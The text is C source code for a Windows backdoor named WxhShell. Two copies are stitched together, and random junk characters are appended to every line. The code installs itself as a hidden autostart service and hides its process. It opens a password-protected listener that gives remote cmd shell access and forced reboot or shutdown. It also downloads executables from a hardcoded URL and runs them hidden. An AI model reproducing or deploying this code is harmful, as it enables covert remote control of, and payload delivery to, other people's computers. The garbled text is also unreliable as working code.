    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); * #TUGfwy  
    if(Boot(SHUTDOWN)) Y*mbjyt[?X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,{\Bze1fn  
    else { 2]%h$f+  
    closesocket(wsh); L^Jk=8  
    ExitThread(0); Mq';S^  
    } wAnb Di{W  
    break; R|i/lEq  
    } >X*Mio8P#  
  // 获取shell cwGbSW$t  
  case 's': { B"%{i-v>**  
    CmdShell(wsh); !^Q.VYY  
    closesocket(wsh); K~ ;45Z2  
    ExitThread(0); Tw +  
    break; q^6+!&"  
  } A*W) bZs.  
  // 退出 ve&zcSeb  
  case 'x': { DxJX+.9K9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'Ei;^Y 1e  
    CloseIt(wsh); fS^!ZPe1  
    break; zt^48~ry  
    } 2t $j  
  // 离开 @LJpdvb  
  case 'q': { 'M3">$N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 610D% F  
    closesocket(wsh); WxF:~{  
    WSACleanup(); aL\nT XakX  
    exit(1); j <o3JV  
    break; p !s}=wI `  
        } ! !PYP'e  
  } znJ'iV f  
  } k}~O}~-  
1bGopi/  
  // 提示信息 *Vho?P6y\Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V2N_8)s9W  
} PfkrOsV/m  
  } 28 3 H  
>0l"P"]  
  return; !ti6  
} (%`Q hH  
k__$ Q9qj(  
// shell模块句柄 /T. KbLx~q  
int CmdShell(SOCKET sock) &N3Y|2  
{ VN%INUi@  
STARTUPINFO si; .L~Nq%g1  
ZeroMemory(&si,sizeof(si)); u[{tb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; je]}R>[r5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mg^e3D1_  
PROCESS_INFORMATION ProcessInfo; |{,KRO0P  
char cmdline[]="cmd"; 5O`dO9g}$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j) ,,"54*  
  return 0; ntmyNf?;  
}  f3UXCp  
`_&Vt=7lG  
// 自身启动模式 RxQh2<?  
int StartFromService(void) $y b4xU  
{ q{ O% |  
typedef struct 8Dvazg}4  
{ @u1zB:  
  DWORD ExitStatus; !Kv@\4  
  DWORD PebBaseAddress; ~b:Rd{  
  DWORD AffinityMask; w^]6w\p  
  DWORD BasePriority; H OBP`lf  
  ULONG UniqueProcessId; MCdx?m3]  
  ULONG InheritedFromUniqueProcessId; ;*,f<  
}   PROCESS_BASIC_INFORMATION; gkHNRAL  
q7&6r|w1I  
PROCNTQSIP NtQueryInformationProcess; 8#Q$zLK42N  
ZNx$r]4nF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hI(SOsKs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M'!U<Y -  
}mZwd_cK  
  HANDLE             hProcess; <r3J0)r}  
  PROCESS_BASIC_INFORMATION pbi; JCW\ *R  
kHqztg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %e@#ux m  
  if(NULL == hInst ) return 0; pD&& l!i&[  
D_8x6`z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;}'D16`j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *cO sv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j+HHQd7Y  
L;od6<.*m  
  if (!NtQueryInformationProcess) return 0; )*:`':_a  
Dwl3 Cj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n-TQ*&h]3S  
  if(!hProcess) return 0; ;.bm6(;  
WMj}kq)SY)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CSCN['x  
n>'Kp T9|  
  CloseHandle(hProcess); <G*nDFWf  
ooV*I|wcI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~gu3g^<0v  
if(hProcess==NULL) return 0; G-T0f  
''|#cEc)  
HMODULE hMod; o`.R!wm:W  
char procName[255]; Sv;_HZ  
unsigned long cbNeeded; CNww`PX,zZ  
Ig5L$bAM~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #A8@CA^d  
P/`I.p;  
  CloseHandle(hProcess); 4GB7A]^E  
5?Wto4j  
if(strstr(procName,"services")) return 1; // 以服务启动 gI8Bx]  
lKgKtQpi  
  return 0; // 注册表启动 Dn>%%K@0  
} ,[A'tUl _  
vO;I(^Q  
// 主模块 eW>3XD4  
int StartWxhshell(LPSTR lpCmdLine) {%#)5l)  
{ "4%"&2L  
  SOCKET wsl; *]i!fzI']  
BOOL val=TRUE; 5 Qoew9rA  
  int port=0; !u]1 dxa  
  struct sockaddr_in door; NuU9~gSQ  
X(7qZ P~  
  if(wscfg.ws_autoins) Install(); (mlzg=szW  
)3h^Y=43  
port=atoi(lpCmdLine); !s@Rok  
Dk5Zh+^  
if(port<=0) port=wscfg.ws_port; %e@HZ"V  
|!F5.%PY  
  WSADATA data; A?G^\I~v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &)oOeRwi].  
&ZTr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A 8 vbQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6&bIXy  
  door.sin_family = AF_INET; 1xc~`~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yObuWDA9  
  door.sin_port = htons(port); al`3Lu0  
".dZn6"mI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :eZh'-c?  
closesocket(wsl); `CeJWL5{  
return 1; *:O.97q@h  
} P4Th_B7  
jzK5-;b  
  if(listen(wsl,2) == INVALID_SOCKET) { 4H+Ked&Oq  
closesocket(wsl); ai*f F  
return 1; 0 u?{ \  
} vF?5].T  
  Wxhshell(wsl); [ 4;Ii  
  WSACleanup(); qp}Ma8+  
dik9 >*"|o  
return 0; ` \A(9u*  
a {ab*tM  
} }^(}HBT  
.IJ_jt-^d  
// 以NT服务方式启动 <x\7L2#p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^'jEnN(  
{ eh[_~>w  
DWORD   status = 0; we#wH-  
  DWORD   specificError = 0xfffffff; a" H WGY  
Skz|*n|eY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 76vy5R(.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~y$ !48o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jxqh )l  
  serviceStatus.dwWin32ExitCode     = 0; F]m gmYD%  
  serviceStatus.dwServiceSpecificExitCode = 0; #oJ5k8Wy  
  serviceStatus.dwCheckPoint       = 0; ;}z\i  
  serviceStatus.dwWaitHint       = 0; u0`%+:]0  
p!/[K6u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *G UAO){'  
  if (hServiceStatusHandle==0) return; Yhp]x   
bZx!0>h  
status = GetLastError(); H_?o-L?+  
  if (status!=NO_ERROR) CU7F5@+  
{ ^2wLxXO6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VxzkQ}o  
    serviceStatus.dwCheckPoint       = 0; 6'W[{gzl  
    serviceStatus.dwWaitHint       = 0; +ki{H}G21  
    serviceStatus.dwWin32ExitCode     = status; ,&4qgp{)  
    serviceStatus.dwServiceSpecificExitCode = specificError; i55x`>]&sb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [&*6_q"V  
    return; Ix|~f1*%  
  } '$ef+@y  
qOaQxRYm%Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0 'Vg6E]/  
  serviceStatus.dwCheckPoint       = 0; s`Cy a`  
  serviceStatus.dwWaitHint       = 0; "G:<7oTa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %{;Qls%[t  
} 7E!7"2e a  
|;A/|F0-e  
// 处理NT服务事件,比如:启动、停止 VzJ5.mRQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;#MB7A  
{ al+ #y)+  
switch(fdwControl) i!~'M;S  
{ ""svDfy$  
case SERVICE_CONTROL_STOP: s6o>m*{  
  serviceStatus.dwWin32ExitCode = 0;  M/z}p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8z5# ]u;  
  serviceStatus.dwCheckPoint   = 0; $0^P0RAH  
  serviceStatus.dwWaitHint     = 0; {7Mj P+\  
  { ^2 ]LV6I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^h &I H|  
  } C>Is1i^9  
  return; ~ 7)A"t  
case SERVICE_CONTROL_PAUSE: saD-D2oj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pb0E@C/R  
  break; 1|8<H~&  
case SERVICE_CONTROL_CONTINUE: vKoP|z=m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S-#q~X!yJ  
  break; 79=45'8  
case SERVICE_CONTROL_INTERROGATE: /# <pVgN  
  break; dC}`IR  
}; /=?ETth @  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U.T|   
} 8j1ekv  
UhmTr[&  
// 标准应用程序主函数 q8ImrC.'^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -6 sW6;Q  
{ 2u?zO7W)-L  
bAr` E  
// 获取操作系统版本 D5?phyC[Z  
OsIsNt=GetOsVer(); :c8n[+5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lhh;2r/?78  
Y\2|x*KwvF  
  // 从命令行安装 A-CUv[pM  
  if(strpbrk(lpCmdLine,"iI")) Install(); {0!#>["<  
OlD`uA  
  // 下载执行文件 X5 ITF)&  
if(wscfg.ws_downexe) { ^/Sh=4=G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CVXytS?@x  
  WinExec(wscfg.ws_filenam,SW_HIDE); `Pc3?~>0HH  
} R.s|j=  
`P@- %T  
if(!OsIsNt) { ]IJv-(  
// 如果时win9x,隐藏进程并且设置为注册表启动 c<+;4z  
HideProc(); nU`Lhh8y  
StartWxhshell(lpCmdLine); DG;y6#|p  
} Eaad,VBtU  
else ,)~E>[=+  
  if(StartFromService()) [&Hkn5yq  
  // 以服务方式启动 f c6g  
  StartServiceCtrlDispatcher(DispatchTable); g<\z=H  
else _x1EZ&dh  
  // 普通方式启动 q6`G I6  
  StartWxhshell(lpCmdLine); 8O1K[sEjui  
H^1gy=kdj  
return 0; R|!B,b(  
} xn}BB}s{t  
*@ED}Mj+  
GbU@BN+_  
^+?|Qfi  
=========================================== !p 8psi0  
;LJ3c7$@lf  
t^E hE  
d`Q7"}uZ  
6Gn4asoA  
> 7`&0?  
" f"&Xr!b.h  
/&ygiH{^  
#include <stdio.h> }fhHXGK.  
#include <string.h> 0'$p$K  
#include <windows.h> 3}&ZOO   
#include <winsock2.h> #p yim_  
#include <winsvc.h> ! d9AG|  
#include <urlmon.h> 9>,Qgp,w  
K^%-NyV  
#pragma comment (lib, "Ws2_32.lib") u@FsLHn  
#pragma comment (lib, "urlmon.lib") ?)3jqQ.  
N~,_`=yRx  
#define MAX_USER   100 // 最大客户端连接数 >Cd9fJ&0gP  
#define BUF_SOCK   200 // sock buffer + C7T]&5s  
#define KEY_BUFF   255 // 输入 buffer cQpnEO&SL  
MmU%%2QG  
#define REBOOT     0   // 重启 Uedvc5><t  
#define SHUTDOWN   1   // 关机 nq`q[KV:  
bdc\  
#define DEF_PORT   5000 // 监听端口 i RmQ5ezk  
 [~Hg}-c  
#define REG_LEN     16   // 注册表键长度 0o&}mKe  
#define SVC_LEN     80   // NT服务名长度 <xS=#  
lWy=)^)4  
// 从dll定义API s ?l%L!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zREJ#r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B!aK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  YRB%:D@u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fm j=  
g{pQ4jKF  
// wxhshell配置信息 |Svk^mq  
struct WSCFG { #A <1aQ  
  int ws_port;         // 监听端口 &A50'8B2A  
  char ws_passstr[REG_LEN]; // 口令 #GqTqHNE<  
  int ws_autoins;       // 安装标记, 1=yes 0=no XKLF8~y8A  
  char ws_regname[REG_LEN]; // 注册表键名 DOm-)zl{|x  
  char ws_svcname[REG_LEN]; // 服务名 T<jfAE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wFlV=!>,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DOL%'k?B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Sw! j=`O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no & QZVq"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m=&j@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (N U0T w  
M$CVQ>op:  
}; `"y{;PCt_  
>BqCkyM9Kf  
// default Wxhshell configuration ~-Oa8ww  
struct WSCFG wscfg={DEF_PORT, )}X5u%woV  
    "xuhuanlingzhe", S6 }QFx  
    1, kC^.4n om  
    "Wxhshell", StQ@g  
    "Wxhshell", QdDtvJLf  
            "WxhShell Service", ,# "(Z  
    "Wrsky Windows CmdShell Service", ^Qh-(u`  
    "Please Input Your Password: ", IbdM9qo7  
  1, A'eAu  
  "http://www.wrsky.com/wxhshell.exe", t;Wotfc[#0  
  "Wxhshell.exe" -gKpL\  
    }; h-'wV${b  
3;BvnD7  
// 消息定义模块 VbxAd 2')  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jL4>A$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PvOC5b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P%GkcV  
char *msg_ws_ext="\n\rExit."; %RFYm  
char *msg_ws_end="\n\rQuit."; $U'3MEEw  
char *msg_ws_boot="\n\rReboot..."; R+. Nn  
char *msg_ws_poff="\n\rShutdown..."; cgNt_8qC  
char *msg_ws_down="\n\rSave to "; X!0kK8v  
VJ1*|r,  
char *msg_ws_err="\n\rErr!";  ~u/@rqF  
char *msg_ws_ok="\n\rOK!"; 41;)-(1  
ic~Z_?p  
char ExeFile[MAX_PATH]; {,V$*  
int nUser = 0; @P70W<<  
HANDLE handles[MAX_USER]; OJ[rj`wrW^  
int OsIsNt; A +!sD5d  
Gc5VQ^]  
SERVICE_STATUS       serviceStatus; IvSn>o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7s]Wq6  
+L6" vkz  
// 函数声明 rdI]\UH  
int Install(void); )<LI%dQ:'l  
int Uninstall(void); +2O=s<fp  
int DownloadFile(char *sURL, SOCKET wsh); MuSaK %  
int Boot(int flag); Es:6  
void HideProc(void); u`p_.n:5)  
int GetOsVer(void); 1jOKcm'#  
int Wxhshell(SOCKET wsl); Qk7J[4  
void TalkWithClient(void *cs); v!!;js^  
int CmdShell(SOCKET sock); {"4<To]z  
int StartFromService(void); P7>IZ >bw  
int StartWxhshell(LPSTR lpCmdLine); B "n`|;r5  
rU*q@y Px  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9UmBm#"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y2vj}9jK  
e-!?[Ujv*%  
// 数据结构和表定义 }*-u$=2  
SERVICE_TABLE_ENTRY DispatchTable[] = 5vGioO  
{ Riq|w+Q  
{wscfg.ws_svcname, NTServiceMain}, xK!DtRzsA  
{NULL, NULL} E(/ sXji!  
}; 104!!m  
: ~'Z(-a  
// 自我安装 S2}Z&X(  
int Install(void) iwkJ~(5z  
{ p)z-W(  
  char svExeFile[MAX_PATH]; `G0*l|m>  
  HKEY key; n'3u] ~7^  
  strcpy(svExeFile,ExeFile); V(I7*_ZFl  
@$ftG  
// 如果是win9x系统,修改注册表设为自启动 /yt7#!tm+  
if(!OsIsNt) { a],h<wGEx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d"!yD/RD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l qXc  
  RegCloseKey(key); Ge~,[If+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Pf(J;'[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D@5s8xv  
  RegCloseKey(key); M4H"].Zm  
  return 0; c'~[!,[b<  
    } Ut':$l=  
  } ~%KM3Vap  
} 9RB`$5F ;  
else { ?+Hp?i$1  
kXCY))vnn  
// 如果是NT以上系统,安装为系统服务 )DRkS,I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4n4j=x]@  
if (schSCManager!=0) \AHY[WKx  
{ v<+4BjV!J}  
  SC_HANDLE schService = CreateService QD}1?)}  
  ( U%n,XOJ  
  schSCManager, p70,\&@3  
  wscfg.ws_svcname, Y^X:vI  
  wscfg.ws_svcdisp, uwId  
  SERVICE_ALL_ACCESS, rx}*u3x=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F1\`l{B,\  
  SERVICE_AUTO_START, &! OGIYC(  
  SERVICE_ERROR_NORMAL, qlEFJ5;  
  svExeFile, fo;6huz  
  NULL, m6eFXP1U  
  NULL, gs-@hR.,s0  
  NULL, ])S$x{.g  
  NULL, /bi6>GaC:E  
  NULL To">DOt  
  ); 'hy?jQ'|e  
  if (schService!=0) $59nu7yr  
  { a0{[P$$  
  CloseServiceHandle(schService); v*vn<nPAQ>  
  CloseServiceHandle(schSCManager); p}&Md-$1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y]<#%Fh  
  strcat(svExeFile,wscfg.ws_svcname); Wge ho  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hRRkFz/0&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O%prD}x  
  RegCloseKey(key); W?=$V>)  
  return 0; 7Zo&+  
    } PE|PwqX  
  } UDVf@[[hN  
  CloseServiceHandle(schSCManager); @+$cZ3,  
} u7n[f@Eg,%  
} uFC?_q?4\  
d&5c_6oW  
return 1; >6IXuq  
} /MhS=gVxM  
Ma>:_0I5  
// 自我卸载 6<<'bi  
int Uninstall(void) 5cgo)/3M@}  
{ )tScc*=8  
  HKEY key; ' *}^@[&  
-.^3;-[  
if(!OsIsNt) { ):^ '/e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }'DC Q  
  RegDeleteValue(key,wscfg.ws_regname); _yNT=#/  
  RegCloseKey(key); LSSW.Oz2L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %V31B\]Nz7  
  RegDeleteValue(key,wscfg.ws_regname); r?>Vx -  
  RegCloseKey(key); Ut]2`8-  
  return 0; 6zv;lx0<D&  
  } amMjuyW  
} GKiq0*/M  
} {=s:P|ah  
else { "havi,m  
ob)Q,;8R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D DQs42[  
if (schSCManager!=0) {K<uM'ww>  
{ {>wI8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m"<4\;GK  
  if (schService!=0) 1B6C<cL:sU  
  { 8~.iuFp  
  if(DeleteService(schService)!=0) { d3Y(SPO  
  CloseServiceHandle(schService); .N/GfR`0/<  
  CloseServiceHandle(schSCManager); | O57N'/  
  return 0; /8=:qIJYA  
  } |MR%{ZC^i  
  CloseServiceHandle(schService); 3R'.}^RN  
  } B*y;>q "{U  
  CloseServiceHandle(schSCManager); h (qshbC}  
} P87ld._  
} "\4]X"3<+  
`'kc|!%MUq  
return 1; mm_^gQ,`  
} xIM8  
=Na/3\^WP  
// 从指定url下载文件 {%=S+89l  
int DownloadFile(char *sURL, SOCKET wsh) IY V-*/ |  
{ 3\7'm]  
  HRESULT hr; Z "-ntx#  
char seps[]= "/"; 4pLQ"&>}80  
char *token; PP!l  
char *file; ,wEM Jh  
char myURL[MAX_PATH]; Tku /OG'  
char myFILE[MAX_PATH]; 1po"gVot  
,c@r` x  
strcpy(myURL,sURL); cT_uJbP+  
  token=strtok(myURL,seps); TP~( r  
  while(token!=NULL) *C5:#A0  
  { 1a5?)D  
    file=token; U&,r4>V@h>  
  token=strtok(NULL,seps); lr`?yn1D(  
  } r4 9UJE  
?6 8$3;  
GetCurrentDirectory(MAX_PATH,myFILE); wDB)&b  
strcat(myFILE, "\\"); /z/hUa  
strcat(myFILE, file); *Hx j_  
  send(wsh,myFILE,strlen(myFILE),0); \nC5 ,Rz  
send(wsh,"...",3,0); uFGv%W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W"W@WG9X0  
  if(hr==S_OK) g4zT(,ZY  
return 0; cC b>zI  
else ;>inT7?3|  
return 1; 9@( O\xr  
5tN%a>D%  
} Bh\ [ CY  
BXT 80a\  
// 系统电源模块 n"XdHW0  
int Boot(int flag) Tq9,c#}&  
{ 8o!  
  HANDLE hToken; )WaX2uDA?  
  TOKEN_PRIVILEGES tkp; _u#/u2<  
Qe7" Z  
  if(OsIsNt) { pZc9q8j3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R"m.&%n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'wCS6_K  
    tkp.PrivilegeCount = 1; imo'(j7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .Q l;(Wyl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %T3j8fC{s  
if(flag==REBOOT) { HT{F$27W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :X3rd|;kc  
  return 0; \%w7D6dEZ  
} \B*k_W/r@  
else { j'G"ZPw1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {fAh@:{@  
  return 0; !JT< (I2  
} gUks O!7^1  
  } on]\J  
  else {  ~Y1"k]J  
if(flag==REBOOT) { V->.|[J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o%vIkXw  
  return 0; RH<@c^ S  
} j)6@q@P/  
else { 6b-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  JA }S{  
  return 0; y&n1 Nj]^  
} :GN)7|:  
} ],BJ}~v,X  
Xulh.: N}  
return 1; 0lLr[  
} N%|^;4}k  
fMWXo)rzj  
// win9x进程隐藏模块 k$9Gn9L%  
void HideProc(void) 2N6Pa(6  
{ [{6&.v  
vG'vgUo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pKO T  Qf  
  if ( hKernel != NULL ) H j>L>6>  
  { d_4n0Kh0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;n yB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *T.={>HE8  
    FreeLibrary(hKernel); RM?_15m  
  } rnzsfr-|(2  
,gAr|x7_  
return; Y}V)4j  
} !mw{T D  
+~R.7NE%  
// 获取操作系统版本 o`<h=+a\  
int GetOsVer(void) 9Q SUCN_  
{ S+` !%hJ  
  OSVERSIONINFO winfo; EGQ1l i'B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d&GKfF  
  GetVersionEx(&winfo);  y)N.LS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) asm[-IB2u  
  return 1; ]pM5?^<~  
  else "k>{b:R|  
  return 0; b?+ Yo>yF8  
} ]1/W8z%  
? RrC~7~  
// 客户端句柄模块 5n|MA  
int Wxhshell(SOCKET wsl) Li?{e+g  
{ @Z3[ c[D)9  
  SOCKET wsh; &lXx0 "-$  
  struct sockaddr_in client; u;l6sdo  
  DWORD myID; Og&0Z)%  
SdEb[  
  while(nUser<MAX_USER) L<[,7V  
{ [)b/uR  
  int nSize=sizeof(client); [T$$od[.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ve64-D  
  if(wsh==INVALID_SOCKET) return 1; N7j]yvE  
F M@W>+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;-<<1Jz/2  
if(handles[nUser]==0) 1xFhhncf  
  closesocket(wsh); e!:?_z."  
else I&Eg-96@  
  nUser++;  N#2nH1C  
  } PBP J/puW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #b]}cwd!  
;6\Ski0=l  
  return 0; ;GSfN  
} :5q*46n  
@; j0c_^"!  
// 关闭 socket h!JjN$  
void CloseIt(SOCKET wsh) E| 8s2t  
{ I'6 ed`|  
closesocket(wsh); #nMP (ShK  
nUser--; hg86#jq%  
ExitThread(0); |Ls&~'ik  
} 8WLh]MD`  
RY'\mt"W2  
// 客户端请求句柄 ^q4:zZZ  
void TalkWithClient(void *cs) j*3sjOoC  
{ ( .6tz  
5.+$v4  
  SOCKET wsh=(SOCKET)cs; +Fkx")  
  char pwd[SVC_LEN]; OFPd6,(E  
  char cmd[KEY_BUFF]; x.yb4i=Jq  
char chr[1]; .J7-4  
int i,j; ND99 g  
WLj_Zo*^x  
  while (nUser < MAX_USER) { .+ yJh  
LeRh (a`=$  
if(wscfg.ws_passstr) { JOE{&^j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4*ty&s=5OJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'amex  
  //ZeroMemory(pwd,KEY_BUFF); bj* v'  
      i=0; hc4`'r;  
  while(i<SVC_LEN) { K\%"RgF@&  
XTn{1[.O  
  // 设置超时 ogh2kht  
  fd_set FdRead; Tl0+Bq  
  struct timeval TimeOut; ]cO$E=W  
  FD_ZERO(&FdRead); -7A!2mRiz  
  FD_SET(wsh,&FdRead); A`r$fCt1Vi  
  TimeOut.tv_sec=8; E%v[7 ST  
  TimeOut.tv_usec=0; sO f)/19  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A$Jn3Xd~!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c9_4 ohB  
d+$[EDix  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =4%WOI  
  pwd=chr[0]; Pq_ApUZa  
  if(chr[0]==0xd || chr[0]==0xa) { ^ _#gIT\  
  pwd=0; Q:xI} ]FM  
  break; N[?4yV2s  
  } B )3SiU  
  i++; ?;r7j V/`j  
    } 4VL!U?dk  
V'| g  
  // 如果是非法用户,关闭 socket V[2<ha[n>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 14)kKWG  
} U:\oGa84A  
-<VF6k<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^/RM;`h0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P$#}-15?|_  
P^{`d_[K%  
while(1) { ^SL}wC x  
(UiH3Q9C]%  
  ZeroMemory(cmd,KEY_BUFF); ]MH \3g;  
3 T#3<gqM[  
      // 自动支持客户端 telnet标准   C(Ba r#  
  j=0; "r `6c0Z  
  while(j<KEY_BUFF) { GmWQJYX\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'kONb  
  cmd[j]=chr[0]; OKNs ( H  
  if(chr[0]==0xa || chr[0]==0xd) { oz5lt4  
  cmd[j]=0; !*QA;*e  
  break; C&MqUj"]  
  } zYl+BM-j,6  
  j++; +Y%I0.?&5  
    } ^`C*";8Q  
&wWGZ~T  
  // 下载文件 {&AT}7  
  if(strstr(cmd,"http://")) { xN~<<PIZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b|pNc'u:Cn  
  if(DownloadFile(cmd,wsh)) dIh(~KqB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Z)/  
  else &T4Cn@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _\V{X}ftqa  
